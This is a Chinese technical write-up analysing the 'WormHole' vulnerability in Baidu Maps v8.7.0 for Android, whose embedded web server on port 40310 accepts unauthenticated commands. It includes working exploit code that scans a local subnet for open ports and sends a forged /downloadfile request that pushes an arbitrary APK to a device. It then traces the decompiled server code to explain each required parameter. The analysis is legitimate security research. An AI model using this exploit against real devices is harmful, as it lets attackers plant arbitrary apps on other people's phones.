0x00
我们以百度地图v8.7.0为例来分析百度蠕虫漏洞,apk下载地址为https://github.com/jltxgcy/AppVulnerability/Baidu_Maps_v8.7.0.apk。
使用Android Killer来打开这个apk,Android Killer下载地址为http://pan.baidu.com/s/1jGQUzwa。
我们先讲述如何在代码层利用这个漏洞,然后再分析其原理。
百度蠕虫漏洞利用代码地址:
0x01
1、首先要安装百度地图v8.7.0的apk,并启动apk。因为apk启动后才有这个漏洞,才可以被利用。
2、 然后运行BaiduWormHole这个Android工程,运行后效果如下图:
点击扫描按钮,实际上看局域网内是否有可以被利用的端口40310。代码如下:
private List<String> checkHosts(String subnet) { List<String> ret = new ArrayList<>(); for (int i = 1; i < 255; i++) { String host = subnet + "." + i; if (isReachable(host, 6259)) { host += ":6259"; ret.add(host); } else if (isReachable(host, 40310)) { host += ":40310"; ret.add(host); } } return ret; }比如局域网本机IP为10.10.154.12,那么会遍历从10.10.154.0:40310~10.10.154.255:40310是否可连接,可连接说明可以利用这个漏洞。这是为什么呢?我们一会分析。isReadable实现如下:
private boolean isReachable(String host, int port) { SocketAddress sockaddr = new InetSocketAddress(host, port); Socket socket = new Socket(); try { socket.connect(sockaddr, timeout); } catch (Exception e) { return false; } finally { try { socket.close(); } catch (IOException ex) { } } return true; }
我们接着看点击开始,会执行什么代码:
URL url; try { url = new URL("http://127.0.0.1:40310/downloadfile?callback=callback1&mcmdf=inapp_baidu_bdgjs&querydown=download&downloadurl=" + urlText.getText().toString() + "&savepath=Download1&filesize=10"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setConnectTimeout(5000); conn.setReadTimeout(5000); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("remote-addr", "127.0.0.1"); conn.setRequestProperty("referer", "http://www.baidu.com"); int responseCode = conn.getResponseCode(); if (responseCode == HttpURLConnection.HTTP_OK){ return convertStreamToString(conn.getInputStream()); } } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); }刚刚判断了局域网内是否有可以被攻击的对象。我们假设本机的IP地址为10.10.154.12,假设本机和另一个机器10.10.154.18都安装百度地图v8.7.0的apk,并且已经运行过。那么扫描的结果就是这两个ip地址, 10.10.154.12和10.10.154.18。
在我们这个工程中,直接写死了127.0.0.1说明是本机地址也就是10.10.154.12。如果想攻击局域网内其他机器,如10.10.154.18,那么要改为10.10.154.18。便可攻击局域网其他机器。
我们以本机攻击为例,实际上百度蠕虫漏洞的本质是百度应用在本机利用socket开了一个简易的WebServer,参考使用NanoHttpd实现简易WebServer。
以上url请求后,会根据downloadurl的地址下载对应的内容,这个例子是下载微信apk,然后提示用户安装。
0x02
下面分析原理,我们先从后往前推理,参考NanoHttpd实现简易WebServer。百度地图也一定初始化了ServerSocket,我们找到对应的代码位于com.baidu.hello.patch.moplus.nebula.b包下a类中a()方法。如下:
public void a() { this.c = new ServerSocket(); ServerSocket localServerSocket = this.c; if (this.a != null) {} for (InetSocketAddress localInetSocketAddress = new InetSocketAddress(this.a, this.b);; localInetSocketAddress = new InetSocketAddress(this.b)) { localServerSocket.bind(localInetSocketAddress); this.e = new Thread(new v(this)); this.e.setDaemon(true); this.e.setName("NanoHttpd Main Listener"); this.e.start(); return; } }我们还记得 NanoHttpd实现简易WebServer一文中,这个函数是非常重要的:
public Response serve(String uri, Method method, Map<String, String> header, Map<String, String> parameters, Map<String, String> files)在百度地图中也有这个方法,它位于com.baidu.hello.patch.moplus.nebula.b包下w类中a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)方法。w类继承于 com.baidu.hello.patch.moplus.nebula.b包下a类,和NanoHttpd实现简易WebServer基本一致。
这样我们就知道a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)方法是NanoHttpd工作的核心。对于本例来说paramString为downloadfile,paramMap1为{(remote-add,127.0.0.1),(referer,http://www.baidu.com)},paramMap2为callback=callback1&mcmdf=inapp_baidu_bdgjs&querydown=download&downloadurl=" + urlText.getText().toString() + "&savepath=Download1&filesize=10这些参数的键值对。
在继续分析com.baidu.hello.patch.moplus.nebula.b包下w类中a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)方法前,大家一定很好奇这个方法是经过什么样的流程执行到这里的呢?
假设我们现在想知道w类是在什么时候初始化的,那么我们利用Android Killer搜索Lcom/baidu/hello/patch/moplus/nebula/b/w;-><init>(Ljava/lang/String;ILjava/io/File;Landroid/content/Context;)V,就能找到调用它的位置,我们找到了,如下图:
我们知道在Lcom/baidu/hello/patch/moplus/nebula/b/w;-><init>(Ljava/lang/String;ILjava/io/File;Landroid/content/Context;)V方法执行的流程中最终会调用到Lcom/baidu/hello/patch/moplus/nebula/b/a;->a()V;也就是上面初始化ServerSocket的地方。
顺着这个思路继续向上寻找,就能打通调用流程,请参考启明星辰ADLab:百度WormHole详细分析报告。
我们接着分析com.baidu.hello.patch.moplus.nebula.b包下w类中a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3),上文已经说明了各个参数的含义,我们列出反编译的代码,继续分析:
public b a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3) { Object localObject3 = null; Object localObject1; if (m.f.equals(paramm)) { try { localObject1 = new com/baidu/hello/patch/moplus/nebula/b/b; ((b)localObject1).<init>(""); localException1.printStackTrace(); } catch (Exception localException1) { try { ((b)localObject1).a("Access-Control-Allow-Origin", "*"); paramString = (String)localObject1; return paramString; } catch (Exception localException2) { for (;;) { continue; paramMap2 = (Map)localObject1; } } localException1 = localException1; localObject1 = localObject3; } } ...... Object localObject2 = paramString.substring(1); label217: localObject3 = (String)paramMap2.get("mcmdf");//mcmdf要为inapp_baidu_bdgjs if ((!TextUtils.isEmpty((CharSequence)localObject3)) && (!TextUtils.equals((CharSequence)localObject3, "null")) && (((String)localObject3).startsWith("inapp_"))) { localObject3 = new e(this.f); if (TextUtils.equals((CharSequence)paramMap1.get("remote-addr"), "127.0.0.1")) {}//remote-addr要为127.0.0.1 for (paramMap2 = ((e)localObject3).a((String)localObject2, paramm, paramMap1, paramMap2, paramMap3);; paramMap2 = ((e)localObject3).a((String)localObject2, paramm, paramMap1, paramMap2, paramMap3)) { ...... } } label396: localObject1 = null; } }这段代码解释了为什么 mcmdf要为inapp_baidu_bdgjs,remote-addr要为127.0.0.1,详见代码中的注释。
然后调用了:
invoke-virtual/range {v0 .. v5}, Lcom/baidu/hello/patch/moplus/nebula/cmd/e;->a(Ljava/lang/String;Lcom/baidu/hello/patch/moplus/nebula/b/m;Ljava/util/Map;Ljava/util/Map;Ljava/util/Map;)Lcom/baidu/hello/patch/moplus/nebula/b/b;
对应反编译的代码为:
((e)localObject3).a((String)localObject2, paramm, paramMap1, paramMap2, paramMap3)localObject2为downloadfile,paramMap1,paramMap2,paramMap3还是原来的那些参数。
那么我们接着看com.baidu.hello.patch.moplus.nebula.cmd包下e类中a(Ljava/lang/String;Lcom/baidu/hello/patch/moplus/nebula/b/m;Ljava/util/Map;Ljava/util/Map;Ljava/util/Map;)方法,如下:
public class e { private static final Map a = new HashMap(); private static final String b = SendIntent.class.getPackage().getName() + "."; private Context c; static { a.put("geolocation", b + "GetLocLiteString"); a.put("getsearchboxinfo", b + "GetSearchboxInfo"); a.put("getapn", b + "GetApn"); a.put("getserviceinfo", b + "GetServiceInfo"); a.put("getpackageinfo", b + "GetPackageInfo"); a.put("sendintent", b + "SendIntent"); a.put("getcuid", b + "GetCuid"); a.put("getlocstring", b + "GetLocString"); a.put("scandownloadfile", b + "ScanDownloadFile"); a.put("addcontactinfo", b + "AddContactInfo"); a.put("getapplist", b + "GetAppList"); a.put("downloadfile", b + "DownloadFile"); a.put("uploadfile", b + "UploadFile"); } public e(Context paramContext) { this.c = paramContext; } public b a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3) { if (TextUtils.isEmpty(paramString)) { paramString = null; } for (;;) { return paramString; paramString = a(paramString);//根据downloadfile为key,获取类Downloadfile if (paramString == null) { paramString = null; } else { try { paramString = (h)Class.forName(paramString).newInstance(); if (paramString == null) { paramString = null; } } catch (ClassNotFoundException paramString) { for (;;) { paramString = null; } } catch (ClassCastException paramString) { for (;;) { paramString = null; } } catch (IllegalAccessException paramString) { for (;;) { paramString = null; } } catch (InstantiationException paramString) { for (;;) { paramString = null; } paramString = paramString.execute(paramm, paramMap1, paramMap2, paramMap3);//执行了Downloadfile类的execute方法 } } } } public String a(String paramString) { return (String)a.get(paramString); } }我们接着看Downloadfile类的execute方法:
public com.baidu.hello.patch.moplus.nebula.b.b execute(m paramm, Map paramMap1, Map paramMap2, Map paramMap3)
{
if ((paramMap2 == null) || (paramMap2.size() < 1)) {
paramm = null;
}
for (;;)
{
return paramm;
paramMap3 = (String)paramMap2.get("callback");//需要callback参数
this.mContext = com.baidu.hello.patch.moplus.nebula.c.a.a().b();
if (this.mContext == null)
{
paramm = null;
}
else
{
paramm = (String)paramMap1.get("referer");//需要referer参数
if (!com.baidu.hello.patch.moplus.nebula.c.b.a(this.mContext).a(paramm)) {
this.mErrcode = 4;
}
paramm = (String)paramMap2.get("querydown");//需要querydown参数
String str2 = (String)paramMap2.get("downloadurl");//需要downloadurl参数
String str1 = (String)paramMap2.get("savepath");//需要savepath参数
long l = Long.parseLong((String)paramMap2.get("filesize"));//需要filesize参数
paramMap1 = new com.baidu.hello.patch.moplus.b.a();//把参数保存在了这个类中
paramMap1.b = str2;
paramMap1.c = str1;
paramMap1.d = l;
if (TextUtils.equals(paramm, "download")) {
if (this.mErrcode != 4)
{
this.mErrcode = 1;
paramMap2 = new d(this.mContext, paramMap1);
c.a().a(paramMap2);//最后执行这个函数
this.mErrcode = 0;
}
}
.....
}
}
上面的代码已经解释了为什么需要Url要包含这么多参数。
url = new URL("http://127.0.0.1:40310/downloadfile?callback=callback1&mcmdf=inapp_baidu_bdgjs&querydown=download&downloadurl=" + urlText.getText().toString() + "&savepath=Download1&filesize=10");
public final class d extends b { public d(Context paramContext, a parama) { super(paramContext, parama); } protected void a() { if (!TextUtils.isEmpty(this.c)) { com.baidu.hello.patch.moplus.pkgmanager.a.a(this.a).b(this.c, this.a); } } }d类继承了b类,b类实现如下:
public class b implements Runnable { protected Context a; protected a b;//所需要得下载地址,下载保持路径,下载文件大小都保存在这个对象中 protected String c; private int d = 2; private int e = 0; private boolean f = false; public b(Context paramContext, a parama) { this.a = paramContext.getApplicationContext(); this.b = parama; } /* Error */ private boolean a(InputStream paramInputStream, long paramLong) { // Byte code: // 0: iconst_0 // 1: istore 6 // 3: invokestatic 47 com/baidu/hello/patch/moplus/systemmonitor/util/b:c ()J // 6: aload_0 // 7: getfield 38 com/baidu/hello/patch/moplus/b/b:b Lcom/baidu/hello/patch/moplus/b/a; // 10: getfield 52 com/baidu/hello/patch/moplus/b/a:d J // 13: ldc2_w 53 // 16: lmul // 17: ldc2_w 53 // 20: lmul // 21: lcmp // 22: ifgt +10 -> 32 // 25: iload 6 // 27: istore 5 // 29: iload 5 // 31: ireturn // 32: aload_0 // 33: aload_0 // 34: getfield 38 com/baidu/hello/patch/moplus/b/b:b Lcom/baidu/hello/patch/moplus/b/a; // 37: invokevirtual 57 com/baidu/hello/patch/moplus/b/a:a ()Ljava/lang/String; // 40: putfield 59 com/baidu/hello/patch/moplus/b/b:c Ljava/lang/String; // 43: iload 6 // 45: istore 5 // 47: aload_0 // 48: getfield 59 com/baidu/hello/patch/moplus/b/b:c Ljava/lang/String; // 51: invokestatic 65 android/text/TextUtils:isEmpty (Ljava/lang/CharSequence;)Z // 54: ifne -25 -> 29 // 57: new 67 java/io/File // 60: dup // 61: aload_0 // 62: getfield 59 com/baidu/hello/patch/moplus/b/b:c Ljava/lang/String; // 65: invokespecial 70 java/io/File:<init> (Ljava/lang/String;)V // 68: astore 11 // 70: aload 11 // 72: invokevirtual 74 java/io/File:getParentFile ()Ljava/io/File; // 75: astore 12 // 77: aload 12 // 79: invokevirtual 78 java/io/File:exists ()Z // 82: ifne +9 -> 91 // 85: aload 12 // 87: invokevirtual 81 java/io/File:mkdirs ()Z // 90: pop // 91: lconst_0 // 92: lstore 7 // 94: new 83 java/io/FileOutputStream // 97: astore 12 // 99: aload 12 // 101: aload 11 // 103: invokespecial 86 java/io/FileOutputStream:<init> (Ljava/io/File;)V // 106: lload 7 // 108: lstore 9 // 110: sipush 4096 // 113: newarray <illegal type> // 115: astore 13 // 117: lload 7 // 119: lstore 9 // 121: aload_1 // 122: aload 13 // 124: invokevirtual 92 java/io/InputStream:read ([B)I // 127: istore 4 // 129: iload 4 // 131: iflt +28 -> 159 // 134: lload 7 // 136: lstore 9 // 138: aload 12 // 140: aload 13 // 142: iconst_0 // 143: iload 4 // 145: invokevirtual 96 java/io/FileOutputStream:write ([BII)V // 148: lload 7 // 150: iload 4 // 152: i2l // 153: ladd // 154: lstore 7 // 156: goto -39 -> 117 // 159: aload 12 // 161: invokevirtual 99 java/io/FileOutputStream:flush ()V // 164: aload 12 // 166: invokevirtual 103 java/io/FileOutputStream:getFD ()Ljava/io/FileDescriptor; // 169: invokevirtual 108 java/io/FileDescriptor:sync ()V // 172: aload 12 // 174: invokevirtual 111 java/io/FileOutputStream:close ()V // 177: lload 7 // 179: lload_2 // 180: lcmp // 181: ifeq +65 -> 246 // 184: aload 11 // 186: invokevirtual 114 java/io/File:delete ()Z // 189: pop // 190: iload 6 // 192: istore 5 // 194: goto -165 -> 29 // 197: astore_1 // 198: iload 6 // 200: istore 5 // 202: goto -173 -> 29 // 205: astore_1 // 206: aload 12 // 208: invokevirtual 99 java/io/FileOutputStream:flush ()V // 211: aload 12 // 213: invokevirtual 103 java/io/FileOutputStream:getFD ()Ljava/io/FileDescriptor; // 216: invokevirtual 108 java/io/FileDescriptor:sync ()V // 219: aload 12 // 221: invokevirtual 111 java/io/FileOutputStream:close ()V // 224: lload 9 // 226: lload_2 // 227: lcmp // 228: ifeq +16 -> 244 // 231: aload 11 // 233: invokevirtual 114 java/io/File:delete ()Z // 236: pop // 237: iload 6 // 239: istore 5 // 241: goto -212 -> 29 // 244: aload_1 // 245: athrow // 246: iconst_1 // 247: istore 5 // 249: goto -220 -> 29 // 252: astore 13 // 254: goto -35 -> 219 // 257: astore_1 // 258: goto -86 -> 172 // Local variable table: // start length slot name signature // 0 261 0 this b // 0 261 1 paramInputStream InputStream // 0 261 2 paramLong long // 127 24 4 i int // 27 221 5 bool1 boolean // 1 237 6 bool2 boolean // 92 86 7 l1 long // 108 117 9 l2 long // 68 164 11 localFile java.io.File // 75 145 12 localObject Object // 115 26 13 arrayOfByte byte[] // 252 1 13 localIOException IOException // Exception table: // from to target type // 94 106 197 java/io/IOException // 159 164 197 java/io/IOException // 172 177 197 java/io/IOException // 184 190 197 java/io/IOException // 206 211 197 java/io/IOException // 219 224 197 java/io/IOException // 231 237 197 java/io/IOException // 244 246 197 java/io/IOException // 110 117 205 finally // 121 129 205 finally // 138 148 205 finally // 211 219 252 java/io/IOException // 164 172 257 java/io/IOException } private void b() { if ((this.b == null) || (TextUtils.isEmpty(this.b.b)) || (TextUtils.isEmpty(this.b.c))) {} for (;;) { return; if (h.a(this.a)) { boolean bool; do { bool = c(); if (this.f) { d(); } } while ((this.d > 0) && (this.f)); if (bool) { a(); } } } } private boolean c() { boolean bool5 = false; boolean bool7 = false; boolean bool6 = false; boolean bool4 = false; c localc = new c(this.a); Object localObject9 = null; InputStream localInputStream = null; Object localObject10 = null; Object localObject5 = null; boolean bool2 = bool7; Object localObject7 = localObject9; boolean bool3 = bool6; Object localObject8 = localInputStream; Object localObject1 = localObject10; for (;;) { try { localObject11 = new org/apache/http/client/methods/HttpGet; bool2 = bool7; localObject7 = localObject9; bool3 = bool6; localObject8 = localInputStream; localObject1 = localObject10; ((HttpGet)localObject11).<init>(this.b.b); bool2 = bool7; localObject7 = localObject9; bool3 = bool6; localObject8 = localInputStream; localObject1 = localObject10; localObject11 = localc.execute((HttpUriRequest)localObject11); bool1 = bool5; bool2 = bool7; localObject7 = localObject9; bool3 = bool6; localObject8 = localInputStream; localObject1 = localObject10; if (((HttpResponse)localObject11).getStatusLine().getStatusCode() != 200) { continue; } bool2 = bool7; localObject7 = localObject9; bool3 = bool6; localObject8 = localInputStream; localObject1 = localObject10; localObject5 = ((HttpResponse)localObject11).getFirstHeader("Content-Length"); if (localObject5 != null) { continue; } } catch (IOException localIOException) { Object localObject11; Object localObject2; long l; Object localObject3 = localObject7; this.f = true; localc.a(); try { ((InputStream)localObject7).close(); bool1 = bool2; } catch (Exception localException3) { System.out.println(localException3.getMessage()); bool1 = bool2; } continue; } catch (Exception localException4) { boolean bool1; Object localObject4 = localObject8; this.f = false; localc.a(); try { ((InputStream)localObject8).close(); bool1 = bool3; } catch (Exception localException5) { System.out.println(localException5.getMessage()); bool1 = bool3; } continue; } finally { localc.a(); } try { throw new NullPointerException(); return bool1; } catch (Exception localException1) { System.out.println(localException1.getMessage()); bool1 = bool4; continue; } bool2 = bool7; localObject7 = localObject9; bool3 = bool6; localObject8 = localInputStream; localObject2 = localObject10; l = Long.valueOf(((Header)localObject5).getValue()).longValue(); bool2 = bool7; localObject7 = localObject9; bool3 = bool6; localObject8 = localInputStream; localObject2 = localObject10; localInputStream = ((HttpResponse)localObject11).getEntity().getContent(); bool1 = bool5; localObject5 = localInputStream; if (localInputStream != null) { bool1 = bool5; localObject5 = localInputStream; bool2 = bool7; localObject7 = localInputStream; bool3 = bool6; localObject8 = localInputStream; localObject2 = localInputStream; if (a(localInputStream, l)) { bool1 = true; localObject5 = localInputStream; } } bool2 = bool1; localObject7 = localObject5; bool3 = bool1; localObject8 = localObject5; localObject2 = localObject5; this.e = 0; bool2 = bool1; localObject7 = localObject5; bool3 = bool1; localObject8 = localObject5; localObject2 = localObject5; this.f = false; localc.a(); try { ((InputStream)localObject5).close(); } catch (Exception localException2) { System.out.println(localException2.getMessage()); } } try { localException5.close(); throw ((Throwable)localObject6); } catch (Exception localException6) { for (;;) { System.out.println(localException6.getMessage()); } } } private void d() { this.e += 1; long l; if (this.e < this.d) { l = (this.e + 1) * 30; } try { Thread.sleep(l); for (;;) { return; this.f = false; } } catch (InterruptedException localInterruptedException) { for (;;) {} } } protected void a() {} public void run() { b(); } }这个类实现了Runnable对象,一会会执行run方法。该类所需要得下载地址,下载保持路径,下载文件大小都保存在com.baidu.hello.patch.moplus.b.a对象b中(protected a b;)。
返回到Downloadfile类的execute方法,继续执行c.a().a(paramMap2),代码如下:
public final class c { private static c b = null; private ExecutorService a = Executors.newFixedThreadPool(3, new com.baidu.hello.patch.moplus.a.c("MoPlus-DownloadThreadPool")); public static c a() { try { if (b == null) { localc = new com/baidu/hello/patch/moplus/b/c; localc.<init>(); b = localc; } c localc = b; return localc; } finally {} } public void a(b paramb) { this.a.submit(paramb); } }不言而喻,此时开始执行public class b implements Runnable的run方法,run方法调用b方法,b方法调用c方法,c方法首先调用a方法,a方法根据下载路径创建了文件夹和文件。接着c方法根据提供的url,从网络不断读取stream写入到savepath指定的文件中,完成下载工作。